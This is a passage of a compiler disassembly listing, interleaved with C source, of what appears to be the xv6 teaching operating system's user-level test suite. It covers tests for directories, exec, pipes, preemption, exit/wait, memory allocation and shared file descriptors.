8d7: c9 leave 8d8: c3 ret 8d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000008e0 <dirtest>: { 8e0: 55 push %ebp 8e1: 89 e5 mov %esp,%ebp 8e3: 83 ec 10 sub $0x10,%esp printf(stdout, "mkdir test\n"); 8e6: 68 7c 40 00 00 push $0x407c 8eb: ff 35 a8 5e 00 00 pushl 0x5ea8 8f1: e8 6a 31 00 00 call 3a60 <printf> if (mkdir("dir0") < 0) { 8f6: c7 04 24 88 40 00 00 movl $0x4088,(%esp) 8fd: e8 27 30 00 00 call 3929 <mkdir> 902: 83 c4 10 add $0x10,%esp 905: 85 c0 test %eax,%eax 907: 78 58 js 961 <dirtest+0x81> if (chdir("dir0") < 0) { 909: 83 ec 0c sub $0xc,%esp 90c: 68 88 40 00 00 push $0x4088 911: e8 1b 30 00 00 call 3931 <chdir> 916: 83 c4 10 add $0x10,%esp 919: 85 c0 test %eax,%eax 91b: 0f 88 85 00 00 00 js 9a6 <dirtest+0xc6> if (chdir("..") < 0) { 921: 83 ec 0c sub $0xc,%esp 924: 68 2d 46 00 00 push $0x462d 929: e8 03 30 00 00 call 3931 <chdir> 92e: 83 c4 10 add $0x10,%esp 931: 85 c0 test %eax,%eax 933: 78 5a js 98f <dirtest+0xaf> if (unlink("dir0") < 0) { 935: 83 ec 0c sub $0xc,%esp 938: 68 88 40 00 00 push $0x4088 93d: e8 cf 2f 00 00 call 3911 <unlink> 942: 83 c4 10 add $0x10,%esp 945: 85 c0 test %eax,%eax 947: 78 2f js 978 <dirtest+0x98> printf(stdout, "mkdir test ok\n"); 949: 83 ec 08 sub $0x8,%esp 94c: 68 c5 40 00 00 push $0x40c5 951: ff 35 a8 5e 00 00 pushl 0x5ea8 957: e8 04 31 00 00 call 3a60 <printf> } 95c: 83 c4 10 add $0x10,%esp 95f: c9 leave 960: c3 ret printf(stdout, "mkdir failed\n"); 961: 50 push %eax 962: 50 push %eax 963: 68 b8 3d 00 00 push $0x3db8 968: ff 35 a8 5e 00 00 pushl 0x5ea8 96e: e8 ed 30 00 00 call 3a60 <printf> exit(); 973: e8 49 2f 00 00 call 38c1 <exit> printf(stdout, "unlink dir0 failed\n"); 978: 50 push %eax 979: 50 push %eax 97a: 68 b1 40 00 00 push $0x40b1 97f: ff 35 a8 5e 00 00 pushl 0x5ea8 985: e8 d6 30 00 00 call 3a60 <printf> exit(); 98a: e8 32 2f 00 00 call 38c1 <exit> printf(stdout, "chdir .. failed\n"); 98f: 52 push %edx 990: 52 push %edx 991: 68 a0 40 00 00 push $0x40a0 996: ff 35 a8 5e 00 00 pushl 0x5ea8 99c: e8 bf 30 00 00 call 3a60 <printf> exit(); 9a1: e8 1b 2f 00 00 call 38c1 <exit> printf(stdout, "chdir dir0 failed\n"); 9a6: 51 push %ecx 9a7: 51 push %ecx 9a8: 68 8d 40 00 00 push $0x408d 9ad: ff 35 a8 5e 00 00 pushl 0x5ea8 9b3: e8 a8 30 00 00 call 3a60 <printf> exit(); 9b8: e8 04 2f 00 00 call 38c1 <exit> 9bd: 8d 76 00 lea 0x0(%esi),%esi 000009c0 <exectest>: { 9c0: 55 push %ebp 9c1: 89 e5 mov %esp,%ebp 9c3: 83 ec 10 sub $0x10,%esp printf(stdout, "exec test\n"); 9c6: 68 d4 40 00 00 push $0x40d4 9cb: ff 35 a8 5e 00 00 pushl 0x5ea8 9d1: e8 8a 30 00 00 call 3a60 <printf> if (exec("echo", echoargv) < 0) { 9d6: 5a pop %edx 9d7: 59 pop %ecx 9d8: 68 ac 5e 00 00 push $0x5eac 9dd: 68 9d 3e 00 00 push $0x3e9d 9e2: e8 12 2f 00 00 call 38f9 <exec> 9e7: 83 c4 10 add $0x10,%esp 9ea: 85 c0 test %eax,%eax 9ec: 78 02 js 9f0 <exectest+0x30> } 9ee: c9 leave 9ef: c3 ret printf(stdout, "exec echo failed\n"); 9f0: 50 push %eax 9f1: 50 push %eax 9f2: 68 df 40 00 00 push $0x40df 9f7: ff 35 a8 5e 00 00 pushl 0x5ea8 9fd: e8 5e 30 00 00 call 3a60 <printf> exit(); a02: e8 ba 2e 00 00 call 38c1 <exit> a07: 89 f6 mov %esi,%esi a09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000a10 <pipe1>: { a10: 55 push %ebp a11: 89 e5 mov %esp,%ebp a13: 57 push %edi a14: 56 push %esi a15: 53 push %ebx if (pipe(fds) != 0) { a16: 8d 45 e0 lea -0x20(%ebp),%eax { a19: 83 ec 38 sub $0x38,%esp if (pipe(fds) != 0) { a1c: 50 push %eax a1d: e8 af 2e 00 00 call 38d1 <pipe> a22: 83 c4 10 add $0x10,%esp a25: 85 c0 test %eax,%eax a27: 0f 85 3e 01 00 00 jne b6b <pipe1+0x15b> a2d: 89 c3 mov %eax,%ebx pid = fork(); a2f: e8 85 2e 00 00 call 38b9 <fork> if (pid == 0) { a34: 83 f8 00 cmp $0x0,%eax a37: 0f 84 84 00 00 00 je ac1 <pipe1+0xb1> } else if (pid > 0) { a3d: 0f 8e 3b 01 00 00 jle b7e <pipe1+0x16e> close(fds[1]); a43: 83 ec 0c sub $0xc,%esp a46: ff 75 e4 pushl -0x1c(%ebp) cc = 1; a49: bf 01 00 00 00 mov $0x1,%edi close(fds[1]); a4e: e8 96 2e 00 00 call 38e9 <close> while ((n = read(fds[0], buf, cc)) > 0) { a53: 83 c4 10 add $0x10,%esp total = 0; a56: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp) while ((n = read(fds[0], buf, cc)) > 0) { a5d: 83 ec 04 sub $0x4,%esp a60: 57 push %edi a61: 68 80 86 00 00 push $0x8680 a66: ff 75 e0 pushl -0x20(%ebp) a69: e8 6b 2e 00 00 call 38d9 <read> a6e: 83 c4 10 add $0x10,%esp a71: 85 c0 test %eax,%eax a73: 0f 8e ab 00 00 00 jle b24 <pipe1+0x114> if ((buf[i] & 0xff) != (seq++ & 0xff)) { a79: 89 d9 mov %ebx,%ecx a7b: 8d 34 18 lea (%eax,%ebx,1),%esi a7e: f7 d9 neg %ecx a80: 38 9c 0b 80 86 00 00 cmp %bl,0x8680(%ebx,%ecx,1) a87: 8d 53 01 lea 0x1(%ebx),%edx a8a: 75 1b jne aa7 <pipe1+0x97> for (i = 0; i < n; i++) { a8c: 39 f2 cmp %esi,%edx a8e: 89 d3 mov %edx,%ebx a90: 75 ee jne a80 <pipe1+0x70> cc = cc * 2; a92: 01 ff add %edi,%edi total += n; a94: 01 45 d4 add %eax,-0x2c(%ebp) a97: b8 00 20 00 00 mov $0x2000,%eax a9c: 81 ff 00 20 00 00 cmp $0x2000,%edi aa2: 0f 4f f8 cmovg %eax,%edi aa5: eb b6 jmp a5d <pipe1+0x4d> printf(1, "pipe1 oops 2\n"); aa7: 83 ec 08 sub $0x8,%esp aaa: 68 0e 41 00 00 push $0x410e aaf: 6a 01 push $0x1 ab1: e8 aa 2f 00 00 call 3a60 <printf> return; ab6: 83 c4 10 add $0x10,%esp } ab9: 8d 65 f4 lea -0xc(%ebp),%esp abc: 5b pop %ebx abd: 5e pop %esi abe: 5f pop %edi abf: 5d pop %ebp ac0: c3 ret close(fds[0]); ac1: 83 ec 0c sub $0xc,%esp ac4: ff 75 e0 pushl -0x20(%ebp) ac7: 31 db xor %ebx,%ebx ac9: be 09 04 00 00 mov $0x409,%esi ace: e8 16 2e 00 00 call 38e9 <close> ad3: 83 c4 10 add $0x10,%esp ad6: 89 d8 mov %ebx,%eax ad8: 89 f2 mov %esi,%edx ada: f7 d8 neg %eax adc: 29 da sub %ebx,%edx ade: 66 90 xchg %ax,%ax for (i = 0; i < 1033; i++) buf[i] = seq++; ae0: 88 84 03 80 86 00 00 mov %al,0x8680(%ebx,%eax,1) ae7: 83 c0 01 add $0x1,%eax aea: 39 d0 cmp %edx,%eax aec: 75 f2 jne ae0 <pipe1+0xd0> if (write(fds[1], buf, 1033) != 1033) { aee: 83 ec 04 sub $0x4,%esp af1: 68 09 04 00 00 push $0x409 af6: 68 80 86 00 00 push $0x8680 afb: ff 75 e4 pushl -0x1c(%ebp) afe: e8 de 2d 00 00 call 38e1 <write> b03: 83 c4 10 add $0x10,%esp b06: 3d 09 04 00 00 cmp $0x409,%eax b0b: 0f 85 80 00 00 00 jne b91 <pipe1+0x181> b11: 81 eb 09 04 00 00 sub $0x409,%ebx for (n = 0; n < 5; n++) { b17: 81 fb d3 eb ff ff cmp $0xffffebd3,%ebx b1d: 75 b7 jne ad6 <pipe1+0xc6> exit(); b1f: e8 9d 2d 00 00 call 38c1 <exit> if (total != 5 * 1033) { b24: 81 7d d4 2d 14 00 00 cmpl $0x142d,-0x2c(%ebp) b2b: 75 29 jne b56 <pipe1+0x146> close(fds[0]); b2d: 83 ec 0c sub $0xc,%esp b30: ff 75 e0 pushl -0x20(%ebp) b33: e8 b1 2d 00 00 call 38e9 <close> wait(); b38: e8 8c 2d 00 00 call 38c9 <wait> printf(1, "pipe1 ok\n"); b3d: 5a pop %edx b3e: 59 pop %ecx b3f: 68 33 41 00 00 push $0x4133 b44: 6a 01 push $0x1 b46: e8 15 2f 00 00 call 3a60 <printf> b4b: 83 c4 10 add $0x10,%esp } b4e: 8d 65 f4 lea -0xc(%ebp),%esp b51: 5b pop %ebx b52: 5e pop %esi b53: 5f pop %edi b54: 5d pop %ebp b55: c3 ret printf(1, "pipe1 oops 3 total %d\n", total); b56: 53 push %ebx b57: ff 75 d4 pushl -0x2c(%ebp) b5a: 68 1c 41 00 00 push $0x411c b5f: 6a 01 push $0x1 b61: e8 fa 2e 00 00 call 3a60 <printf> exit(); b66: e8 56 2d 00 00 call 38c1 <exit> printf(1, "pipe() failed\n"); b6b: 57 push %edi b6c: 57 push %edi b6d: 68 f1 40 00 00 push $0x40f1 b72: 6a 01 push $0x1 b74: e8 e7 2e 00 00 call 3a60 <printf> exit(); b79: e8 43 2d 00 00 call 38c1 <exit> printf(1, "fork() failed\n"); b7e: 50 push %eax b7f: 50 push %eax b80: 68 3d 41 00 00 push $0x413d b85: 6a 01 push $0x1 b87: e8 d4 2e 00 00 call 3a60 <printf> exit(); b8c: e8 30 2d 00 00 call 38c1 <exit> printf(1, "pipe1 oops 1\n"); b91: 56 push %esi b92: 56 push %esi b93: 68 00 41 00 00 push $0x4100 b98: 6a 01 push $0x1 b9a: e8 c1 2e 00 00 call 3a60 <printf> exit(); b9f: e8 1d 2d 00 00 call 38c1 <exit> ba4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi baa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000bb0 <preempt>: { bb0: 55 push %ebp bb1: 89 e5 mov %esp,%ebp bb3: 57 push %edi bb4: 56 push %esi bb5: 53 push %ebx bb6: 83 ec 24 sub $0x24,%esp printf(1, "preempt: "); bb9: 68 4c 41 00 00 push $0x414c bbe: 6a 01 push $0x1 bc0: e8 9b 2e 00 00 call 3a60 <printf> pid1 = fork(); bc5: e8 ef 2c 00 00 call 38b9 <fork> if (pid1 == 0) bca: 83 c4 10 add $0x10,%esp bcd: 85 c0 test %eax,%eax bcf: 75 02 jne bd3 <preempt+0x23> bd1: eb fe jmp bd1 <preempt+0x21> bd3: 89 c7 mov %eax,%edi pid2 = fork(); bd5: e8 df 2c 00 00 call 38b9 <fork> if (pid2 == 0) bda: 85 c0 test %eax,%eax pid2 = fork(); bdc: 89 c6 mov %eax,%esi if (pid2 == 0) bde: 75 02 jne be2 <preempt+0x32> be0: eb fe jmp be0 <preempt+0x30> pipe(pfds); be2: 8d 45 e0 lea -0x20(%ebp),%eax be5: 83 ec 0c sub $0xc,%esp be8: 50 push %eax be9: e8 e3 2c 00 00 call 38d1 <pipe> pid3 = fork(); bee: e8 c6 2c 00 00 call 38b9 <fork> if (pid3 == 0) { bf3: 83 c4 10 add $0x10,%esp bf6: 85 c0 test %eax,%eax pid3 = fork(); bf8: 89 c3 mov %eax,%ebx if (pid3 == 0) { bfa: 75 46 jne c42 <preempt+0x92> close(pfds[0]); bfc: 83 ec 0c sub $0xc,%esp bff: ff 75 e0 pushl -0x20(%ebp) c02: e8 e2 2c 00 00 call 38e9 <close> if (write(pfds[1], "x", 1) != 1) printf(1, "preempt write error"); c07: 83 c4 0c add $0xc,%esp c0a: 6a 01 push $0x1 c0c: 68 11 47 00 00 push $0x4711 c11: ff 75 e4 pushl -0x1c(%ebp) c14: e8 c8 2c 00 00 call 38e1 <write> c19: 83 c4 10 add $0x10,%esp c1c: 83 e8 01 sub $0x1,%eax c1f: 74 11 je c32 <preempt+0x82> c21: 50 push %eax c22: 50 push %eax c23: 68 56 41 00 00 push $0x4156 c28: 6a 01 push $0x1 c2a: e8 31 2e 00 00 call 3a60 <printf> c2f: 83 c4 10 add $0x10,%esp close(pfds[1]); c32: 83 ec 0c sub $0xc,%esp c35: ff 75 e4 pushl -0x1c(%ebp) c38: e8 ac 2c 00 00 call 38e9 <close> c3d: 83 c4 10 add $0x10,%esp c40: eb fe jmp c40 <preempt+0x90> close(pfds[1]); c42: 83 ec 0c sub $0xc,%esp c45: ff 75 e4 pushl -0x1c(%ebp) c48: e8 9c 2c 00 00 call 38e9 <close> if (read(pfds[0], buf, sizeof(buf)) != 1) { c4d: 83 c4 0c add $0xc,%esp c50: 68 00 20 00 00 push $0x2000 c55: 68 80 86 00 00 push $0x8680 c5a: ff 75 e0 pushl -0x20(%ebp) c5d: e8 77 2c 00 00 call 38d9 <read> c62: 83 c4 10 add $0x10,%esp c65: 83 e8 01 sub $0x1,%eax c68: 74 19 je c83 <preempt+0xd3> printf(1, "preempt read error"); c6a: 50 push %eax c6b: 50 push %eax c6c: 68 6a 41 00 00 push $0x416a c71: 6a 01 push $0x1 c73: e8 e8 2d 00 00 call 3a60 <printf> return; c78: 83 c4 10 add $0x10,%esp } c7b: 8d 65 f4 lea -0xc(%ebp),%esp c7e: 5b pop %ebx c7f: 5e pop %esi c80: 5f pop %edi c81: 5d pop %ebp c82: c3 ret close(pfds[0]); c83: 83 ec 0c sub $0xc,%esp c86: ff 75 e0 pushl -0x20(%ebp) c89: e8 5b 2c 00 00 call 38e9 <close> printf(1, "kill... "); c8e: 58 pop %eax c8f: 5a pop %edx c90: 68 7d 41 00 00 push $0x417d c95: 6a 01 push $0x1 c97: e8 c4 2d 00 00 call 3a60 <printf> kill(pid1); c9c: 89 3c 24 mov %edi,(%esp) c9f: e8 4d 2c 00 00 call 38f1 <kill> kill(pid2); ca4: 89 34 24 mov %esi,(%esp) ca7: e8 45 2c 00 00 call 38f1 <kill> kill(pid3); cac: 89 1c 24 mov %ebx,(%esp) caf: e8 3d 2c 00 00 call 38f1 <kill> printf(1, "wait... "); cb4: 59 pop %ecx cb5: 5b pop %ebx cb6: 68 86 41 00 00 push $0x4186 cbb: 6a 01 push $0x1 cbd: e8 9e 2d 00 00 call 3a60 <printf> wait(); cc2: e8 02 2c 00 00 call 38c9 <wait> wait(); cc7: e8 fd 2b 00 00 call 38c9 <wait> wait(); ccc: e8 f8 2b 00 00 call 38c9 <wait> printf(1, "preempt ok\n"); cd1: 5e pop %esi cd2: 5f pop %edi cd3: 68 8f 41 00 00 push $0x418f cd8: 6a 01 push $0x1 cda: e8 81 2d 00 00 call 3a60 <printf> cdf: 83 c4 10 add $0x10,%esp ce2: eb 97 jmp c7b <preempt+0xcb> ce4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi cea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000cf0 <exitwait>: { cf0: 55 push %ebp cf1: 89 e5 mov %esp,%ebp cf3: 56 push %esi cf4: be 64 00 00 00 mov $0x64,%esi cf9: 53 push %ebx cfa: eb 14 jmp d10 <exitwait+0x20> cfc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if (pid) { d00: 74 6f je d71 <exitwait+0x81> if (wait() != pid) { d02: e8 c2 2b 00 00 call 38c9 <wait> d07: 39 d8 cmp %ebx,%eax d09: 75 2d jne d38 <exitwait+0x48> for (i = 0; i < 100; i++) { d0b: 83 ee 01 sub $0x1,%esi d0e: 74 48 je d58 <exitwait+0x68> pid = fork(); d10: e8 a4 2b 00 00 call 38b9 <fork> if (pid < 0) { d15: 85 c0 test %eax,%eax pid = fork(); d17: 89 c3 mov %eax,%ebx if (pid < 0) { d19: 79 e5 jns d00 <exitwait+0x10> printf(1, "fork failed\n"); d1b: 83 ec 08 sub $0x8,%esp d1e: 68 f9 4c 00 00 push $0x4cf9 d23: 6a 01 push $0x1 d25: e8 36 2d 00 00 call 3a60 <printf> return; d2a: 83 c4 10 add $0x10,%esp } d2d: 8d 65 f8 lea -0x8(%ebp),%esp d30: 5b pop %ebx d31: 5e pop %esi d32: 5d pop %ebp d33: c3 ret d34: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi printf(1, "wait wrong pid\n"); d38: 83 ec 08 sub $0x8,%esp d3b: 68 9b 41 00 00 push $0x419b d40: 6a 01 push $0x1 d42: e8 19 2d 00 00 call 3a60 <printf> return; d47: 83 c4 10 add $0x10,%esp } d4a: 8d 65 f8 lea -0x8(%ebp),%esp d4d: 5b pop %ebx d4e: 5e pop %esi d4f: 5d pop %ebp d50: c3 ret d51: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi printf(1, "exitwait ok\n"); d58: 83 ec 08 sub $0x8,%esp d5b: 68 ab 41 00 00 push $0x41ab d60: 6a 01 push $0x1 d62: e8 f9 2c 00 00 call 3a60 <printf> d67: 83 c4 10 add $0x10,%esp } d6a: 8d 65 f8 lea -0x8(%ebp),%esp d6d: 5b pop %ebx d6e: 5e pop %esi d6f: 5d pop %ebp d70: c3 ret exit(); d71: e8 4b 2b 00 00 call 38c1 <exit> d76: 8d 76 00 lea 0x0(%esi),%esi d79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000d80 <mem>: { d80: 55 push %ebp d81: 89 e5 mov %esp,%ebp d83: 57 push %edi d84: 56 push %esi d85: 53 push %ebx d86: 31 db xor %ebx,%ebx d88: 83 ec 14 sub $0x14,%esp printf(1, "mem test\n"); d8b: 68 b8 41 00 00 push $0x41b8 d90: 6a 01 push $0x1 d92: e8 c9 2c 00 00 call 3a60 <printf> ppid = getpid(); d97: e8 a5 2b 00 00 call 3941 <getpid> d9c: 89 c6 mov %eax,%esi if ((pid = fork()) == 0) { d9e: e8 16 2b 00 00 call 38b9 <fork> da3: 83 c4 10 add $0x10,%esp da6: 85 c0 test %eax,%eax da8: 74 0a je db4 <mem+0x34> daa: e9 89 00 00 00 jmp e38 <mem+0xb8> daf: 90 nop *(char **)m2 = m1; db0: 89 18 mov %ebx,(%eax) db2: 89 c3 mov %eax,%ebx while ((m2 = malloc(10001)) != 0) { db4: 83 ec 0c sub $0xc,%esp db7: 68 11 27 00 00 push $0x2711 dbc: e8 ff 2e 00 00 call 3cc0 <malloc> dc1: 83 c4 10 add $0x10,%esp dc4: 85 c0 test %eax,%eax dc6: 75 e8 jne db0 <mem+0x30> while (m1) { dc8: 85 db test %ebx,%ebx dca: 74 18 je de4 <mem+0x64> dcc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi m2 = *(char **)m1; dd0: 8b 3b mov (%ebx),%edi free(m1); dd2: 83 ec 0c sub $0xc,%esp dd5: 53 push %ebx dd6: 89 fb mov %edi,%ebx dd8: e8 53 2e 00 00 call 3c30 <free> while (m1) { ddd: 83 c4 10 add $0x10,%esp de0: 85 db test %ebx,%ebx de2: 75 ec jne dd0 <mem+0x50> m1 = malloc(1024 * 20); de4: 83 ec 0c sub $0xc,%esp de7: 68 00 50 00 00 push $0x5000 dec: e8 cf 2e 00 00 call 3cc0 <malloc> if (m1 == 0) { df1: 83 c4 10 add $0x10,%esp df4: 85 c0 test %eax,%eax df6: 74 20 je e18 <mem+0x98> free(m1); df8: 83 ec 0c sub $0xc,%esp dfb: 50 push %eax dfc: e8 2f 2e 00 00 call 3c30 <free> printf(1, "mem ok\n"); e01: 58 pop %eax e02: 5a pop %edx e03: 68 dc 41 00 00 push $0x41dc e08: 6a 01 push $0x1 e0a: e8 51 2c 00 00 call 3a60 <printf> exit(); e0f: e8 ad 2a 00 00 call 38c1 <exit> e14: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi printf(1, "couldn't allocate mem?!!\n"); e18: 83 ec 08 sub $0x8,%esp e1b: 68 c2 41 00 00 push $0x41c2 e20: 6a 01 push $0x1 e22: e8 39 2c 00 00 call 3a60 <printf> kill(ppid); e27: 89 34 24 mov %esi,(%esp) e2a: e8 c2 2a 00 00 call 38f1 <kill> exit(); e2f: e8 8d 2a 00 00 call 38c1 <exit> e34: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } e38: 8d 65 f4 lea -0xc(%ebp),%esp e3b: 5b pop %ebx e3c: 5e pop %esi e3d: 5f pop %edi e3e: 5d pop %ebp wait(); e3f: e9 85 2a 00 00 jmp 38c9 <wait> e44: 8d b6 00 00 00 00 lea 0x0(%esi),%esi e4a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000e50 <sharedfd>: { e50: 55 push %ebp e51: 89 e5 mov %esp,%ebp e53: 57 push %edi e54: 56 push %esi e55: 53 push %ebx e56: 83 ec 34 sub $0x34,%esp printf(1, "sharedfd test\n"); e59: 68 e4 41 00 00 push $0x41e4 e5e: 6a 01 push $0x1 e60: e8 fb 2b 00 00 call 3a60 <printf> unlink("sharedfd"); e65: c7 04 24 f3 41 00 00 movl $0x41f3,(%esp) e6c: e8 a0 2a 00 00 call 3911 <unlink> fd = open("sharedfd", O_CREATE | O_RDWR); e71: 59 pop %ecx e72: 5b pop %ebx e73: 68 02 02 00 00 push $0x202 e78: 68 f3 41 00 00 push $0x41f3 e7d: e8 7f 2a 00 00 call 3901 <open> if (fd < 0) { e82: 83 c4 10 add $0x10,%esp e85: 85 c0 test %eax,%eax e87: 0f 88 33 01 00 00 js fc0 <sharedfd+0x170> e8d: 89 c6 mov %eax,%esi memset(buf, pid == 0 ? 'c' : 'p', sizeof(buf)); e8f: bb e8 03 00 00 mov $0x3e8,%ebx pid = fork(); e94: e8 20 2a 00 00 call 38b9 <fork> memset(buf, pid == 0 ? 'c' : 'p', sizeof(buf)); e99: 83 f8 01 cmp $0x1,%eax pid = fork(); e9c: 89 c7 mov %eax,%edi memset(buf, pid == 0 ? 'c' : 'p', sizeof(buf)); e9e: 19 c0 sbb %eax,%eax ea0: 83 ec 04 sub $0x4,%esp ea3: 83 e0 f3 and $0xfffffff3,%eax ea6: 6a 0a push $0xa ea8: 83 c0 70 add $0x70,%eax eab: 50 push %eax eac: 8d 45 de lea -0x22(%ebp),%eax eaf: 50 push %eax eb0: e8 4b 28 00 00 call 3700 <memset> eb5: 83 c4 10 add $0x10,%esp eb8: eb 0b jmp ec5 <sharedfd+0x75> eba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi for (i = 0; i < 1000; i++) { ec0: 83 eb 01 sub $0x1,%ebx ec3: 74 29 je eee <sharedfd+0x9e> if (write(fd, buf, sizeof(buf)) != sizeof(buf)) { ec5: 8d 45 de lea -0x22(%ebp),%eax ec8: 83 ec 04 sub $0x4,%esp ecb: 6a 0a push $0xa ecd: 50 push %eax ece: 56 push %esi ecf: e8 0d 2a 00 00 call 38e1 <write> ed4: 83 c4 10 add $0x10,%esp ed7: 83 f8 0a cmp $0xa,%eax eda: 74 e4 je ec0 <sharedfd+0x70> printf(1, "fstests: write sharedfd failed\n"); edc: 83 ec 08 sub $0x8,%esp edf: 68 e4 4e 00 00 push $0x4ee4 ee4: 6a 01 push $0x1 ee6: e8 75 2b 00 00 call 3a60 <printf> break; eeb: 83 c4 10 add $0x10,%esp if (pid == 0) eee: 85 ff test %edi,%edi ef0: 0f 84 fe 00 00 00 je ff4 <sharedfd+0x1a4> wait(); ef6: e8 ce 29 00 00 call 38c9 <wait> close(fd); efb: 83 ec 0c sub $0xc,%esp nc = np = 0; efe: 31 db xor %ebx,%ebx f00: 31 ff xor %edi,%edi close(fd); f02: 56 push %esi f03: 8d 75 e8 lea -0x18(%ebp),%esi f06: e8 de 29 00 00 call 38e9 <close> fd = open("sharedfd", 0); f0b: 58 pop %eax f0c: 5a pop %edx f0d: 6a 00 push $0x0 f0f: 68 f3 41 00 00 push $0x41f3 f14: e8 e8 29 00 00 call 3901 <open> if (fd < 0) { f19: 83 c4 10 add $0x10,%esp f1c: 85 c0 test %eax,%eax fd = open("sharedfd", 0); f1e: 89 45 d4 mov %eax,-0x2c(%ebp) if (fd < 0) { f21: 0f 88 b3 00 00 00 js fda <sharedfd+0x18a> f27: 89 f8 mov %edi,%eax f29: 89 df mov %ebx,%edi f2b: 89 c3 mov %eax,%ebx f2d: 8d 76 00 lea 0x0(%esi),%esi while ((n = read(fd, buf, sizeof(buf))) > 0) { f30: 8d 45 de lea -0x22(%ebp),%eax f33: 83 ec 04 sub $0x4,%esp f36: 6a 0a push $0xa f38: 50 push %eax f39: ff 75 d4 pushl -0x2c(%ebp) f3c: e8 98 29 00 00 call 38d9 <read> f41: 83 c4 10 add $0x10,%esp f44: 85 c0 test %eax,%eax f46: 7e 28 jle f70 <sharedfd+0x120> f48: 8d 45 de lea -0x22(%ebp),%eax f4b: eb 15 jmp f62 <sharedfd+0x112> f4d: 8d 76 00 lea 0x0(%esi),%esi if (buf[i] == 'p') np++; f50: 80 fa 70 cmp $0x70,%dl f53: 0f 94 c2 sete %dl f56: 0f b6 d2 movzbl %dl,%edx f59: 01 d7 add %edx,%edi f5b: 83 c0 01 add $0x1,%eax for (i = 0; i < sizeof(buf); i++) { f5e: 39 f0 cmp %esi,%eax f60: 74 ce je f30 <sharedfd+0xe0> if (buf[i] == 'c') nc++; f62: 0f b6 10 movzbl (%eax),%edx f65: 80 fa 63 cmp $0x63,%dl f68: 75 e6 jne f50 <sharedfd+0x100> f6a: 83 c3 01 add $0x1,%ebx f6d: eb ec jmp f5b <sharedfd+0x10b> f6f: 90 nop close(fd); f70: 83 ec 0c sub $0xc,%esp f73: 89 d8 mov %ebx,%eax f75: ff 75 d4 pushl -0x2c(%ebp) f78: 89 fb mov %edi,%ebx f7a: 89 c7 mov %eax,%edi f7c: e8 68 29 00 00 call 38e9 <close> unlink("sharedfd"); f81: c7 04 24 f3 41 00 00 movl $0x41f3,(%esp) f88: e8 84 29 00 00 call 3911 <unlink> if (nc == 10000 && np == 10000) { f8d: 83 c4 10 add $0x10,%esp f90: 81 ff 10 27 00 00 cmp $0x2710,%edi f96: 75 61 jne ff9 <sharedfd+0x1a9> f98: 81 fb 10 27 00 00 cmp $0x2710,%ebx f9e: 75 59 jne ff9 <sharedfd+0x1a9> printf(1, "sharedfd ok\n"); fa0: 83 ec 08 sub $0x8,%esp fa3: 68 fc 41 00 00 push $0x41fc fa8: 6a 01 push $0x1 faa: e8 b1 2a 00 00 call 3a60 <printf> faf: 83 c4 10 add $0x10,%esp } fb2: 8d 65 f4 lea -0xc(%ebp),%esp fb5: 5b pop %ebx fb6: 5e pop %esi fb7: 5f pop %edi fb8: 5d pop %ebp fb9: c3 ret fba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi printf(1, "fstests: cannot open sharedfd for writing"); fc0: 83 ec 08 sub $0x8,%esp fc3: 68 b8 4e 00 00 push $0x4eb8 fc8: 6a 01 push $0x1 fca: e8 91 2a 00 00 call 3a60 <printf> return; fcf: 83 c4 10 add $0x10,%esp } fd2: 8d 65 f4 lea -0xc(%ebp),%esp fd5: 5b pop %ebx fd6: 5e pop %esi fd7: 5f pop %edi fd8: 5d pop %ebp fd9: c3 ret printf(1, "fstests: cannot open sharedfd for reading\n"); fda: 83 ec 08 sub $0x8,%esp fdd: 68 04 4f 00 00 push $0x4f04 fe2: 6a 01 push $0x1 fe4: e8 77 2a 00 00 call 3a60 <printf> return; fe9: 83 c4 10 add $0x10,%esp } fec: 8d 65 f4 lea -0xc(%ebp),%esp fef: 5b pop %ebx ff0: 5e pop %esi ff1: 5f pop %edi ff2: 5d pop %ebp ff3: c3 ret exit(); ff4: e8 c8 28 00 00 call 38c1 <exit> printf(1, "sharedfd oops %d %d\n", nc, np); ff9: 53 push %ebx ffa: 57 push %edi ffb: 68 09 42 00 00 push $0x4209 1000: 6a 01 push $0x1 1002: e8 59 2a 00 00 call 3a60 <printf> exit(); 1007: e8 b5 28 00 00 call 38c1 <exit> 100c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00001010 <fourfiles>: { 1010: 55 push %ebp 1011: 89 e5 mov %esp,%ebp 1013: 57 push %edi 1014: 56 push %esi 1015: 53 push %ebx printf(1, "fourfiles test\n"); 1016: be 1e 42 00 00 mov $0x421e,%esi for (pi = 0; pi < 4; pi++) { 101b: 31 db xor %ebx,%ebx { 101d: 83 ec 34 sub $0x34,%esp char *names[] = {"f0", "f1", "f2", "f3"}; 1020: c7 45 d8 1e 42 00 00 movl $0x421e,-0x28(%ebp) 1027: c7 45 dc 67 43 00 00 movl $0x4367,-0x24(%ebp) printf(1, "fourfiles test\n"); 102e: 68 24 42 00 00 push $0x4224 1033: 6a 01 push $0x1 char *names[] = {"f0", "f1", "f2", "f3"}; 1035: c7 45 e0 6b 43 00 00 movl $0x436b,-0x20(%ebp) 103c: c7 45 e4 21 42 00 00 movl $0x4221,-0x1c(%ebp) printf(1, "fourfiles test\n"); 1043: e8 18 2a 00 00 call 3a60 <printf> 1048: 83 c4 10 add $0x10,%esp unlink(fname); 104b: 83 ec 0c sub $0xc,%esp 104e: 56 push %esi 104f: e8 bd 28 00 00 call 3911 <unlink> pid = fork(); 1054: e8 60 28 00 00 call 38b9 <fork> if (pid < 0) { 1059: 83 c4 10 add $0x10,%esp 105c: 85 c0 test %eax,%eax 